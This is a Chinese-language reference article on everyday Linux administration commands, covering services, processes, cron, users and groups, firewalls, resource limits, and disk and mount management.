系统管理systemctl:管理系统服务Centos7 之后从 init 完全换成了 systemd 的启动方式,systemd 启动服务的机制主要是通过 systemctl 的这个系统服务管理指令来处理。systemctl 在用法上也囊括 service / chkconfig / setup / init 的大部分功能。语法格式:systemctl [参数] [服务] # 常用参数: start 启动服务 stop 停止服务 restart 重启服务 enable 使某服务开机自启 disable 关闭某服务开机自启 status 查看服务状态 list -units --type=service 列举所有已启动服务参考实例:# 启动httpd服务: systemctl start httpd.service # 停止httpd服务: systemctl stop httpd # 重启httpd服务: systemctl restart httpd.service # 查看httpd服务状态: systemctl status httpd.service # 使httpd开机自启: systemctl enable httpd.service # 取消httpd开机自启: systemctl disable httpd.service # 列举所有已启动服务(unit单元) : systemctl list-units --type=serviceps:显示进程状态ps 命令是“process status”的缩写,ps命令用于显示当前系统的进程状态。可以搭配 kill 指令随时中断、删除不必要的程序。ps 命令是最基本同时也是非常强大的进程查看命令,使用该命令可以确定有哪些进程正在运行和运行的状态、进程是否结束、进程有没有僵死、哪些进程占用了过多的资源等等,总之大部分信息都是可以通过执行该命令得到的。语法格式:ps [参数] # 常用参数: -A, -e # 显示所有进程 -p, p, --pid <PID> # 指定程序识别码,并列出该程序的状况 -u, U, --user <UID> # 列出属于该用户的进程的状况,也可使用用户名称来指定 -C <命令> # 列出指定命令的状况 -f # 显示完整格式的输出。显示UID,PPIP,C与STIME栏位 -aux # 显示所有进程,除了阶段作业领导者之外参考实例:# 查看所有进程 ps -ef # 查询指定进程 ps -ef | grep 进程名/进程号 # 杀死进程命令:kill kill -9 pid(进程号) # 搜索命令 grep :用于过滤搜索指定内容 # 格式:在指定文件中查找带有指定内容的信息 grep [参数] 指定内容 指定文件 -i # 不区分大小写的查找指定内容信息 ## 管道运算符 | :将多个命令串起来,处理模版输出的内容。常与grep组合使用,查所有文件(/进程/软件)的指定文件(/进程/软件)等 # 格式: 把命令1的输出作为命令2的输入 命令1 | 命令2 # 实例:当前目录下从所有的文件资源中查找1.txt文件资源 ll | grep 1.txt # 先把root目录下的所有资源查出来 | 在所有资源中搜索1.txt资源列出 PID 与相关信息各相关信息的意义为:F :代表这个程序的旗标 (flag), 4 代表使用者为 superuser;S :代表这个程序的状态 (STAT);UID :代表执行者身份PID :进程的ID号!PPID :父进程的ID;C :CPU使用的资源百分比PRI :指进程的执行优先权(Priority的简写),其值越小越早被执行;NI :这个进程的nice值,其表示进程可被执行的优先级的修正数值。ADDR :这个是内核函数,指出该程序在内存的那个部分。如果是个执行 的程序,一般就是『 - 』SZ :使用掉的内存大小;WCHAN :目前这个程序是否正在运作当中,若为 - 表示正在运作;TTY :登入者的终端机位置;TIME :使用掉的 CPU 时间。CMD :所下达的指令名称列出目前所有的正在内存当中的程序USER:该进程属于那个使用者账号。PID :该进程的进程ID号。%CPU:该进程使用掉的 CPU 资源百分比;%MEM:该进程所占用的物理内存百分比;VSZ :该进程使用掉的虚拟内存量 (Kbytes)RSS :该进程占用的固定的内存量 (Kbytes)TTY :该进程是在那个终端机上面运作,若与终端机无关,则显示 ?。另外, tty1-tty6 是本机上面的登入者程序,若为 pts/0 等等的,则表示为由网络连接进主机的程序。STAT:该程序目前的状态,主要的状态有:R :该程序目前正在运作,或者是可被运作;S :该程序目前正在睡眠当中,但可被某些讯号(signal) 唤醒。T :该程序目前正在侦测或者是停止了;Z :该程序应该已经终止,但是其父程序却无法正常的终止他,造成 zombie (疆尸) 程序的状态START:该进程被触发启动的时间;TIME :该进程实际使用 CPU 运作的时间。COMMAND:该程序的实际指令。kill:杀死进程kill 命令用来删除执行中的程序或工作。kill 命令可将指定的信号发送给相应的进程或工作。kill 命令默认使用信号为 15,用于结束进程或工作。如果进程或工作忽略此信号,则可以使用信号 9,强制杀死进程或作业。语法格式:kill [参数] [进程号] # 常用参数: -l 列出系统支持的信号 -s 指定向进程发送的信号 -a 处理当前进程时不限制命令名和进程号的对应关系 -p 指定kill命令只打印相关进程的进程号,而不发送任何信号参考实例:# 列出系统支持的信号列表: kill -l # 查找进程,并用kill杀掉 : $ ps PID TTY TIME CMD 1951 pts/0 00:00:00 bash 2446 pts/0 00:00:00 ps # 查看bash的进程ID为1951,然后用kill强制杀掉 kill -9 1951find:查找和搜索文件find 命令可以根据给定的路径和表达式查找的文件或目录。find 参数选项很多,并且支持正则,功能强大。和管道结合使用可以实现复杂的功能,是系统管理者和普通用户必须掌握的命令。find 如不加任何参数,表示查找当前路径下的所有文件和目录,如果服务器负载比较高尽量不要在高峰期使用 find 命令,find命令模糊搜索还是比较消耗系统资源的。语法格式:find [参数] [路径] [查找和搜索范围] # 常用参数: -name 按名称查找 -size 按大小查找 -user 按属性查找 -type 按类型查找 -iname 忽略大小写参考示例:# 列出当前目录及子目录下所有文件和文件夹: find . # 使用-name参数查看根目录下面所有的.conf结尾的配置文件: find / -name "*.conf" # 使用-size参数查看/etc目录下面大于1M的文件: find /etc -size +1M # 查找当前用户主目录下的所有文件: find $HOME -print # 在/home目录下查找以.txt结尾的文件名: find /home -name "*.txt" # 在/var/log目录下忽略大小写查找以.log结尾的文件名: find /var/log -iname "*.log" # 搜索超过七天内被访问过的所有文件: find . -type f -atime +7 # 搜索访问时间超过10分钟的所有文件: find . -type f -amin +10 # 找出/home下不是以.txt结尾的文件: find /home ! -name "*.txt"crontab:定时执行任务crontab 是英文“cron table”的简写。该命令被用来提交和管理用户的需要周期性执行的任务,与windows下的计划任务类似,当安装完成操作系统后,默认会安装此服务工具,并且会自动启动crond进程,crond进程每分钟会定期检查是否有要执行的任务,如果有要执行的任务,则自动执行该任务。Linux下的任务调度分为两类,系统任务调度和用户任务调度。系统任务调度:系统周期性所要执行的工作,比如写缓存数据到硬盘、日志清理等。/etc/crontab文件是系统任务调度的配置文件用户任务调度:用户定期要执行的任务,比如用户数据备份、定时邮件提醒等。用户可以使用 crontab 工具来定制自己的计划任务。/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,其文件名与用户名一致。/etc/crontab 这个文件负责调度各种管理和维护任务。/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。还可以把脚本放在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。语法格式:crontab [参数] # 常用参数: -e 编辑该用户的计时器设置 -l 列出该用户的计时器设置 -r 删除该用户的计时器设置 -u 指定要设定计时器的用户名称参考实例:# 查看当前定时任务: crontab -l # 创建、编辑定时任务: crontab -e # 删除本用户所有的定时任务: crontab -r 使用 crond 服务设置任务的参数格式:minute hour day month week command 分 时 日 月 周 命令 # 参数字段说明: minute 表示分钟,是从0到59之间的任何整数 hour 表示小时,是从0到23之间的任何整数 day 表示日期,是从1到31之间的任何整数 month 表示月份,是从1到12之间的任何整数 week 表示星期,是从0到7之间的任何整数,其中0或7代表星期日 command 要执行的命令,可以是系统命令,也可以是自己编写的脚本文件 # 时间的操作符有 * # 取值范围内的所有数字 / # 每隔n单位时间。例如:*/10 表示 每10分钟 - # 一个时间范围段。例如:8-10点 表示 8到10点 , # 分隔时段,散列数字。例如:6,0,1 表示 周六,周天,周一 # 注意事项:注意事项:在 crontab 命令中只有 “绝对路径”,不存在相对路径,故执行任何命令都需要写绝对路径如果有些时间字段没有设置,则需要使用星号(*)占位如果使用cron运行脚本,请将脚本执行的结果写入指定日志文件, 观察日志内容是否正常。命令或脚本使用bash命令,防止脚本没有增加执行权限(/usr/bin/bash)定时任务实例:# 每小时的第5分钟执行 ls 命令 5 * * * * ls # 每5分钟执行 ls 命令 */5 * * * * ls # 每天的 4:30 执行 ls 命令 30 4 * * * ls # 每小时执行 ls 命令 0 * * * * ls # 每天执行 ls 命令 0 0 * * * ls # 每周执行 ls 命令 0 0 * * 0 ls # 每年执行 ls 命令 0 0 1 1 * ls # 每月 8号 的 7:20 执行 ls 命令 20 7 8 * * ls # 每年的 6月28号 5:30 执行 ls 命令 30 5 28 6 * ls # 每星期日的 6:30 执行 ls 命令 30 6 * * 0 ls # 每月 10号和20号 的 4:30 执行 ls 命令 30 4 10,20 * * ls # 每天 8~11点 的第 25 分钟执行 ls 命令 25 8-11 * * * ls # 每个月中每隔 10天 的 5:30 执行 ls 命令。即:每月的 1、11、21、31日 在 5:30 执行一次 ls 命令 30 5 */10 * * lsuname:显示系统信息uname 命令的英文全称即“Unix name”。用于显示系统相关信息,比如主机名、内核版本号、硬件架构等。如果未指定任何选项,其效果相当于执行”uname -s”命令,即显示系统内核的名字。语法格式:uname [参数] # 常用参数: -a 显示系统所有相关信息 -m 显示计算机硬件架构 -n 显示主机名称 -r 显示内核发行版本号 -s 显示内核名称 -v 显示内核版本 -p 显示主机处理器类型 -o 显示操作系统名称 -i 显示硬件平台参考实例:# 显示系统主机名、内核版本号、CPU类型等信息: $ uname -a Linux linuxcool 3.10.0-123.el7.x86_64 #1 SMP Mon May 5 11:16:57 EDT 2014 x86_64 x86_64 x86_64 GNU/Linux # 仅显示系统主机名: $ uname -n linuxcool # 显示当前系统的内核版本 : $ uname -r 3.10.0-123.el7.x86_64 # 显示当前系统的硬件架构: $ uname -i x86_64sudo:以系统管理者的身份执行指令sudo 是一种权限管理机制,管理员可以授权于一些普通用户去执行一些 root 执行的操作,而不需要知道 root 的密码。sudo 允许一个已授权用户以超级用户或者其它用户的角色运行一个命令。当然,能做什么不能做什么都是通过安全策略来指定的。sudo 支持插件架构的安全策略,并能把输入输出写入日志。第三方可以开发并发布自己的安全策略和输入输出日志插件,并让它们无缝的和 sudo 一起工作。默认的安全策略记录在 /etc/sudoers 文件中。而安全策略可能需要用户通过密码来验证他们自己。也就是在用户执行 sudo 命令时要求用户输入自己账号的密码。如果验证失败,sudo 命令将会退出。语法格式:sudo [参数] # 常用参数: -v 因为 sudo 在第一次执行时或是在 N分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过N分钟,也会问密码 -k 强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟) -b 将要执行的指令放在背景执行 -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称,%h 会显示主机名称 -s 执行环境变数中的SHELL 所指定的shell ,或是 /etc/passwd 里所指定的 shell command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令参考实例:# 切换到root用户: sudo su # 指定用户执行命令: sudo -u userb ls -l # 以root权限执行上一条命令: sudo !! # 列出目前的权限: sudo -l # 列出 sudo 的版本资讯: sudo -Vdate:显示日期与时间date 命令可以用来显示或设定系统的日期与时间,在显示方面,可以设定欲显示的格式,格式设定为一个加号后接数个标记。若是不以加号作为开头,则表示要设定时间,而时间格式 MMDDhhmm[[CC]YY][.ss],其中 MM 为月份,DD 为日,hh 为小时,mm 为分钟,CC 为年份前两位数字,YY 为年份后两位数字,ss 为秒数。语法格式:date [选项] [+输出形式] # 常用参数: -d datestr 显示 datestr 中所设定的时间 (非系统时间) -s datestr 将系统时间设为 datestr 中所设定的时间 -u 显示目前的格林威治时间参考实例:# 显示当前时间: $ date 三 4月 12 14:08:12 CST 2019 $ date '+%c' 2019年04月17日 星期三 14时09分02秒 # 按自己的格式输出: $ date '+usr_time: $1:%M %P -hey' usr_time: $1:16 下午 -hey # 显示时间后跳行,再显示目前日期: $ date '+%T%n%D' # 只显示月份与日数: $ date '+%B %d' # 显示日期与设定时间(12:34:56): $ date --date '12:34:56'hostnamectl:修改主机名称hostnamectl 可用于查询和更改系统主机名和相关设置。此工具区分三种不同的主机名:高级“漂亮”主机名,其中可能包括特殊字符(例如 “lennart’s laptop”)静态主机名,用于在引导时初始化内核主机名(例如 “lennarts膝上型电脑”)默认瞬时主机名(从网络配置接收到的)如果是静态的主机名已设置且有效(不是 localhost),则不使用临时主机名语法格式:hostnamectl [参数] # 常用参数: -H 操作远程主机 status 显示当前主机名设置 set-hostname 设置系统主机名参考实例:# 显示当前主机名称的配置信息: hostnamectl status # 使用set-hostname命令来设置或修改主机名称: hostnamectl set-hostname linuxprobesource:在当前Shell环境中从指定文件读取和执行命令source 命令(从 C Shell 而来)是 bash shell 的内置命令。点命令(就是个点符号,从 Bourne Shell 而来)是 source 的另一名称。source 命令通常用于重新执行刚修改的初始化文件,使之立即生效,而不必注销并重新登录。source 返回文件最后一个命令的返回值,如果文件不能读取则会失败。语法格式:source [文件]参考实例:# 读取和执行/root/.bash_profile文件: source ~/.bash_profile # 执行刚修改的初始化文件,使之立即生效: source /etc/bash_profile # 在一些工具的执行过程中,会把环境变量设置以”export XXX=XXXXXX”或”declare XXX=XXXXXX”的形式导出到 一个文件中,然后用source加载该文件内容到执行环境中: [root@linuxcool ~]# vi /etc/profile [root@linuxcool ~]# source /etc/profile如果把一些命令做成一个文件,让它自动顺序执行,对于需要多次反复编译系统核心的用户来说会很方便,而用 source 命令就可以做到这一点,它的作用就是把一个文件的内容当成 shell 来执行。先在 linux 的源代码目录下(如/usr/src/linux-2.4.20)建立一个文件,如 make_command,在其中输入一下内容:make mrproper && make menuconfig && make dep && make clean && make bzImage && make modules && make modules_install && cp arch/i386/boot/bzImage /boot/vmlinuz_new && cp System.map /boot && vi /etc/lilo.conf && lilo -v文件建立好之后,每次编译核心的时候,只需要在 /usr/src/linux-2.4.20 下输入:source make_commandulimit:设置用户可使用的资源ulimit :设置用户可使用的资源,如 CPU、内存、句柄等(临时修改,重启后失效)。用法:ulimit [参数] [限制]参数详解:-a :列出系统所有资源限制的值-S:设置软限制,超出设定的值会告警-H :设置硬限制,超出设定的值会报错-c:限制每个核心文件的最大容量,单位为 blocks核心文件(core file):当某些程序发生错误时,系统可能会将该程序在内存中的信息写成文件(核心文件)-d:进程数据段的最大值,单位为 Kbytes-f:当前 shell 进程可创建的最大文件容量,单位为 blocks-l:最大可加锁的物理内存大小,单位为 Kbytes-m:可以使用的最大常驻内存大小,单位为 Kbytes-n:每个进程可以同时打开的最大文件句柄数-p:管道缓冲区的最大值,单位为 Kbytes-s:线程栈的最大值,单位为 Kbytes-t:进程可以使用(占用) CPU 的最大时间,单位为秒-u:用户可运行的最大进程并发数-v:当前 shell 进程可使用的最大虚拟内存,单位为 Kbytes使用示例在命令 [限制] 处,设置值,即可调整限制值,只对当前 shell 有效S表示软限制;H表示硬限制;如果不指明,则表示软硬皆设置;[root@localhost solr-7.7.3]# ulimit -u 4096 [root@localhost solr-7.7.3]# ulimit -u 65535 [root@localhost solr-7.7.3]# ulimit -u 65535永久生效 ulimit修改 /etc/security/limits.conf 文件,更新或新增内容如下(示例):[root@localhost solr-7.7.3]# vim /etc/security/limits.conf * soft nofile 65536 * hard nofile 65536 * soft nproc 65536 * hard nproc 65536/etc/security/limits.conf 配置详解格式:<domain> <type> <item> <value>参数详解:domain 是指生效实体用户名也可以通过 @group 指定用户组使用 * 表示默认值type 指限制类型soft 软限制hard 硬限制item 限制资源core :同 ulimit -cdata :同 ulimit -dfsize :同 ulimit -fmemloc :同 ulimit -lnofile :同 ulimit -nstack :同 ulimit -scpu :同 ulimit -tnproc :同 ulimit -usigpengding :同 ulimit -imsgqueue :同 ulimit -qmaxlogins:指定用户可以同时登陆的数量maxsyslogins :系统可以同时登陆的用户数priority :用户进程运行的优先级locks :用户可以锁定的文件最大值防火墙常用命令参考:Linux查看、开启、关闭防火墙操作防火墙的区别:CentOS6 自带的防火墙是 iptables,CentOS7自带的防火墙是 firewall。iptables:用于过滤数据包,属于网络层防火墙。firewall:底层还是使用 iptables 对内核命令动态通信包过滤的,简单理解就是 firewall 是 centos7 下管理 iptables 的新命令。iptables 防火墙安装 iptables 防火墙:# 通过 yum install 命令联网下载安装iptables yum install iptables-services 常用命令:# 查看防火墙状态 service iptables status | systemctl status iptables # 启动防火墙 service iptables start | systemctl start iptables # 重启防火墙 service iptables restart | systemctl restart iptables # 停止防火墙 service iptables stop | systemctl stop iptables # 将iptables设置为开机启动 systemctl enable iptables.service # 永久关闭防火墙 chkconfig iptables off # 永久关闭后重启 chkconfig iptables on开启 80 端口# 编辑iptales vim /etc/sysconfig/iptables # 加入以下代码然后保存退出 -A INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT #重启防火墙 service iptables restart查看防火墙策略、开放的端口iptables -nL 或 /sbin/iptables -L -nfirewall 防火墙查看 firewall 服务状态systemctl status firewalld # 出现 Active: active (running)绿色高亮显示则表示是启动状态。 # 出现 Active: inactive (dead)灰色表示停止状态。查看 firewall 的状态firewall-cmd --state开启、重启、关闭firewall服务# 开启 service firewalld start # 重启 service firewalld restart # 关闭 service firewalld stop查看防火墙规则firewall-cmd --list-all查看、开放、关闭端口# 查询端口是否开放 firewall-cmd --query-port=8080/tcp # 开放80端口 firewall-cmd --permanent --add-port=80/tcp # 移除端口 firewall-cmd --permanent --remove-port=8080/tcp #重启防火墙(修改配置后要重启防火墙) firewall-cmd --reloadfirewall其他命令# 查看防火墙状态,是否是running firewall-cmd --state # 重新载入配置,比如添加规则之后,需要执行此命令 firewall-cmd --reload # 列出支持的zone firewall-cmd --get-zones # 列出支持的服务,在列表中的服务是放行的 firewall-cmd --get-services # 查看ftp服务是否支持,返回yes或者no firewall-cmd --query-service ftp # 临时开放ftp服务 firewall-cmd --add-service=ftp # 永久开放ftp服务 firewall-cmd --add-service=ftp --permanent # 永久移除ftp服务 firewall-cmd --remove-service=ftp --permanent # 永久添加80端口 firewall-cmd --add-port=80/tcp --permanent # 查看规则,这个命令和iptables的相同 iptables -L -n # 查看帮助 man firewall-cmd查看 cpu、内存环境信息2C2G,4C4G,8C16G,16C32G这里 C 指 cpu 物理核数,G 指总内存大小# 查看物理CPU个数 cat /proc/cpuinfo| grep "physical id"| sort| uniq| wc -l # 查看每个物理CPU中core的个数(即核数) cat /proc/cpuinfo| grep "cpu cores"| uniq # 查看逻辑CPU的个数 cat /proc/cpuinfo| grep "processor"| wc -l # C=CPU总核数 = 物理CPU个数 X 每颗物理CPU的核数 # 总逻辑CPU数 = 物理CPU个数 X 每颗物理CPU的核数 X 超线程数 # 查看CPU信息(型号) cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c # 查看内存信息。MemTotal键值即为内存大小,单位kb cat /proc/meminfo查看内存使用信息# 以合适的单位显示内存使用情况 free -h # 说明 Mem # (第二行)是内存的使用情况。 Swap # (第三行)是交换空间的使用情况。 total # 列显示系统总的可用物理内存和交换空间大小。 used # 列显示已经被使用的物理内存和交换空间。 free # 列显示还有多少物理内存和交换空间可用使用。 shared # 列显示被共享使用的物理内存大小。 buff/cache # 列显示被 buffer 和 cache 使用的物理内存大小。 available # 列显示还可以被应用程序使用的物理内存大小。 # 释放缓存 # 在清理缓存先要先把buffe中的数据先写入到硬盘中 sync # 手动释放内存的命令 echo 1 > /proc/sys/vm/drop_caches drop_caches的值可以是0-3之间的数字,代表不同的含义: 0:不释放(系统默认值)。改为其他值后,只能系统重启恢复为0,无法手动改为0 1:释放页缓存 2:释放dentries和inodes 3:释放所有缓存top:实时显示系统中各个进程的资源占用状况参考:Linux top命令详解查看 GPU 使用信息参考:【GPU】nvidia-smi命令Nvidia 显卡自带一个命令行工具可以查看显存的使用情况:# 查看显存的使用情况快照 nvidia-smi # 周期性(10s)的输出显卡的使用情况 watch -n 10 nvidia-smi表格参数详解:GPU:本机中的GPU编号(有多块显卡的时候,从0开始编号)图上GPU的编号是:0Fan:风扇转速(0%-100%),N/A表示没有风扇Name:GPU类型,图上GPU的类型是:Tesla T4Temp:GPU的温度(GPU温度过高会导致GPU的频率下降)Perf:GPU的性能状态,从P0(最大性能)到P12(最小性能),图上是:P0Persistence-M:持续模式的状态,持续模式虽然耗能大,但是在新的GPU应用启动时花费的时间更少,图上显示的是:offPwr:Usager/Cap:能耗表示,Usage:用了多少,Cap总共多少Bus-Id:GPU总线相关显示,domain:bus:device.functionDisp.A:Display Active ,表示GPU的显示是否初始化Memory-Usage:显存使用率Volatile GPU-Util:GPU使用率Uncorr. ECC:关于ECC的东西,是否开启错误检查和纠正技术,0/disabled,1/enabledCompute M:计算模式,0/DEFAULT,1/EXCLUSIVE_PROCESS,2/PROHIBITEDProcesses:显示每个进程占用的显存使用率、进程号、占用的哪个GPU用户管理passwd:修改用户账户密码passwd 命令用于设置用户的认证信息,包括用户密码、账户锁定、密码失效等。直接运行 passwd 命令修改当前的用户密码,对其他用户的密码操作需要管理员权限。常用格式:passwd [参数] 用户名 # 常用参数: -d 删除密码,使账号无口令 -l 锁定用户密码,无法被用户自行修改。仅 root 用户可用 -u 解开已锁定用户密码,允许用户自行修改。仅 root 用户可用 -e 密码立即过期,下次登陆强制修改密码 -k 保留即将过期的用户在期满后能仍能使用 -S 查询密码状态。仅 root 用户可用 --stdin 可以将通过管道符输出的数据作为用户的密码。主要在批量添加用户时使用参考实例:# 修改当前登陆的账户密码: passwd # 修改其他用户密码(假设有linuxcool用户): passwd linuxcool # 锁定密码不允许用户修改: passwd -l linuxcool # 解除锁定密码,允许用户修改: passwd -u linuxcool # 下次登陆强制改密码: passwd -e linuxcool # 清除登录密码。清除之后登录时无需密码,风险极大,不推荐使用: passwd -d linuxcool # 查询密码状态: passwd -S linuxcool查看用户列表和用户组# 查看所有用户的列表 cat /etc/passwd # 说明: # /etc/passwd 中一行记录对应着一个用户,每行记录又被冒号(:)分隔为7个字段,其格式和具体含义如下: # 用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录Shell # 查看用户组 cat /etc/group # 删除用户组 groupdel 用户组 # 查看当前登录用户的用户组 groups # 查看当前登录用户名 whoami创建/删除/修改/切换用户useradd:创建用户useradd 命令用来创建新的用户或更改用户的信息。useradd 可用来建立用户帐号。帐号建好之后,再用 passwd 设定帐号的密码。使用 useradd 指令所建立的帐号,实际上是保存在 /etc/passwd 文本文件中。语法格式:useradd [参数] [用户名] # 常用参数: -u, -uid UID 指定用户id -g, -gid GROUP 指定用户对应的用户组名称或ID -d, -home-dir HOME_DIR 新用户每次登陆时所使用的家目录 -m 用户目录不存在时则自动创建 -M 不建立用户家目录,优先于/etc/login.defs文件设定 -D 改变新建用户的预设值 -c 添加备注文字 -e 用户终止日期,日期的格式为YYYY-MM-DD -f 用户过期几日后永久停权。当值为0时用户立即被停权,而值为-1时则关闭此功能,预设值为-1 -G 定义此用户为多个不同组的成员 -n 取消建立以用户名称为名的群组 -r, -system 建立系统帐号 -p, -password PASSWORD 新帐户的加密密码 -l, -no-log-init 不要将用户添加到lastlog和faillog数据库 -s, -shell SHELL 新帐户的登录shell -o, -non-unique 允许创建具有重复(非唯一)UID的用户 -U, -user-group 创建与用户同名的组参考实例:# 添加新用户linuxcool: useradd linuxcool # 不创建家目录,并且禁止登陆: useradd -M -s /sbin/nologin linuxcool # 添加新用户linuxcool,指定UID为888,指定归属用户组为root,cool成员,其shell类型为/bin/sh: useradd -u 888 -s /bin/sh -G root,cool linuxcool # 添加新用户linuxcool,设置家目录为/home/linuxcool,用户过期时间为2019/05/01.过期后两天停权: useradd -e "2019/05/01" -f 2 -d /home/linuxcool linuxcooluserdel:删除用户userdel 命令用于删除指定的用户及与该用户相关的文件,英文全称即“user delete”。其实 userdel 命令实际上是修改了系统的用户账号文件 /etc/passwd、/etc/shadow以及/etc/group文件。这与Linux系统”一切操作皆文件”的思想正好吻合。值得注意的是,但是如果有该要删除用户相关的进程正在运行,userdel 命令通常不会删除一个用户账号。如果确实必须要删除,可以先终止用户进程,然后再执行userdel命令进行删除。但是 userdel 命令也提供了一个面对该种情况的参数,即”-f”选项。语法格式:userdel [参数] [用户名] # 常用参数: -f 强制删除用户账号 -r 删除用户主目录及其中的任何文件参考实例:# 删除用户,但不删除其家目录及文件: userdel linuxcool # 删除用户,并将其家目录及文件一并删除: userdel -r linuxcool # 强制删除用户: userdel -f linuxcoolusermod:修改用户属性语法格式:usermod [参数] [用户名] # 常用参数: -L  锁定用户密码,使密码无效。 -s 修改用户登入后所使用的shell -u 修改用户ID。 -U  解除密码锁定。su:切换用户语法格式:su USER_NAME创建/删除工作组groupadd:新建工作组groupadd 命令用于创建一个新的工作组,新工作组的信息将被添加到系统文件中。语法格式:groupadd [参数] 常用参数: -g 指定新建工作组的id -r 创建系统工作组,系统工作组的组ID小于500 -K 覆盖配置文件“/ect/login.defs” -o 允许添加组ID号不唯一的工作组参考实例:# 使用-g参数新建linuxcool工作组名,1005是工作组id: groupadd -g 1005 linuxcool # 使用-r创建系统工作组: groupadd -r -g 368 linuxcoolgroupdel:删除用户组groupdel命令用于删除指定的工作组,本命令要修改的系统文件包括/ect/group和/ect/gshadow。userdel修改系统账户文件,删除与 GROUP 相关的所有项目。给出的组名必须存在。若该群组中仍包括某些用户,则必须先删除这些用户后,方能删除群组。语法格式:groupdel [参数] [群组名称] # 常用参数: -h 显示帮助信息 -R 在chroot_dir目录中应用更改并使用chroot_dir目录中的配置文件参考实例:# 使用groupdel命令删除linuxcool工作组: groupdel linuxcool # 查看linuxcool组是否删除成功。通过查看/etc/group配置文件里面不存在linuxcool组,说明已经被删除了。 more /etc/group | grep linuxcool将用户加入到用户组# 将指定用户加入到用户组 gpasswd -a USER_NAME GROUP_NAME # 将当前用户加入到用户组 gpasswd -a $USER GROUP_NAME # 更新用户组 newgrp GROUP_NAME磁盘管理df:显示磁盘空间使用情况df 命令的英文全称即“Disk Free”,是用于显示系统上可使用的磁盘空间。默认显示单位为KB,建议使用“df -h”的参数组合,根据磁盘容量自动变换合适的单位,更利于阅读。日常普遍用该命令可以查看磁盘被占用了多少空间、还剩多少空间等信息。语法格式: df [参数] [指定文件] # 常用参数: -a 显示所有系统文件 -h 以容易阅读的方式显示。根据磁盘容量自动变换合适的单位,更利于阅读。 -H 以1000字节为换算单位来显示 -i 显示索引字节信息 -l 只显示本地文件系统 -t <文件系统类型> 只显示指定类型的文件系统 -T 输出时显示文件系统类型 -B <块大小> 指定显示时的块大小 -k 指定块大小为1KB -sync 在取得磁盘使用信息前,先执行sync命令参考实例:# 以容易阅读的方式显示磁盘分区使用情况: [root@linuxcool ~]$ df -h 文件系统 容量 已用 可用 已用% 挂载点 devtmpfs 1.9G 0 1.9G 0% /dev tmpfs 2.0G 0 2.0G 0% /dev/shm tmpfs 2.0G 1.1M 2.0G 1% /run tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup /dev/mapper/fedora_linuxhell-root 15G 2.0G 14G 13% / tmpfs 2.0G 4.0K 2.0G 1% /tmp /dev/sda1 976M 126M 784M 14% /boot tmpfs 390M 0 390M 0% /run/user/0 # 显示指定文件所在分区的磁盘使用情况: [root@linuxcool ~]$ df /etc/dhcp 文件系统 1K-块 已用 可用 已用% 挂载点 /dev/mapper/fedora_linuxcool-root 15718400 2040836 13677564 13% / # 显示文件类型为ext4的磁盘使用情况: [root@linuxcool ~]$ df -t ext4 文件系统 1K-块 已用 可用 已用% 挂载点 /dev/sda1 999320 128264 802244 14% /bootlsblk:查看系统的磁盘lsblk 命令的英文是“list block”,即用于列出所有可用块设备的信息,而且还能显示它们之间的依赖关系,但是它不会列出 RAM 盘的信息。lsblk 命令包含在 util-linux-ng 包中,现在该包改名为 util-linux。语法格式:lsblk [参数] # 常用参数: -a 显示所有设备 -b 以bytes方式显示设备大小 -d 不显示 slaves 或 holders -D 显示弃置的性能 -e 排除设备 -f 显示文件系统信息 -h 显示帮助信息 -i 只使用ASCII字符 -m 显示权限信息 -l 使用列表格式显示 -n 不显示标题 -o 输出列 -P 使用key=”value”格式显示 -r 使用原始格式显示 -t 显示拓扑结构信息参考实例:# lsblk命令默认情况下将以树状列出所有块设备: [root@linuxcool ~ ]$ lsblk lsblk NAME MAJ:MIN rm SIZE RO type mountpoint sda 8:0 0 232.9G 0 disk ├─sda1 8:1 0 46.6G 0 part / ├─sda2 8:2 0 1K 0 part ├─sda5 8:5 0 190M 0 part /boot ├─sda6 8:6 0 3.7G 0 part [SWAP] ├─sda7 8:7 0 93.1G 0 part /data └─sda8 8:8 0 89.2G 0 part /personal sr0 11:0 1 1024M 0 rom # 默认选项不会列出所有空设备: [root@linuxcool ~]$ lsblk -a # 也可以用于列出一个特定设备的拥有关系,同时也可以列出组和模式: [root@linuxcool ~]$ lsblk -m # 要获取SCSI设备的列表,你只能使用-S选项,该选项是用来以颠倒的顺序打印依赖的: [root@linuxcool ~]$ lsblk -S # 例如,你也许想要以列表格式列出设备,而不是默认的树状格式。可以将两个不同的选项组合,以获得期望的输出: [root@linuxcool ~]$ lsblk -nl定位较大文件目录并清理硬盘参考:LINUX下查找大文件及大的文件夹# 搜索根目录下超过指定大小的文件(按大小降序排序,单位MB) find / -type f -size +500M -print0 | xargs -0 du -hm | sort -gr # (进入根目录 / )循环定位最大文件目录: du -h --max-depth=1设备管理mount:文件系统挂载mount 命令用于加载文件系统到指定的加载点。此命令的最常用于挂载 cdrom,使可以访问cdrom中的数据,因为将光盘插入cdrom 中,Linux 并不会自动挂载,必须使用 Linux mount 命令来手动完成挂载。语法格式:mount [参数] 常用参数: -t 指定挂载类型 -l 显示已加载的文件系统列表 -a 加载文件“/etc/fstab”中描述的所有文件系统 -n 加载没有写入文件“/etc/mtab”中的文件系统 -r 将文件系统加载为只读模式 -V 显示程序版本 -h 显示帮助信息并退出参考实例:# 显示已加载的文件系统列表 mount -l # 启动所有挂载: mount -a # 挂载 /dev/cdrom 到 /mnt: mount /dev/cdrom /mnt # 挂载nfs格式文件系统: mount /123 /mnt -t nfs # 挂载第一块盘的第一个分区到/etc目录 : mount /dev/sda1 /etc -t ext4 -o loop,default # 判断路径是否已挂载 mountpoint -q file_path # 取消挂载 umount /mynfs
文章
缓存  ·  安全  ·  Unix  ·  Linux  ·  Shell  ·  网络安全  ·  调度  ·  数据安全/隐私保护  ·  异构计算  ·  Windows
2023-02-10
ADB 操作命令及用法
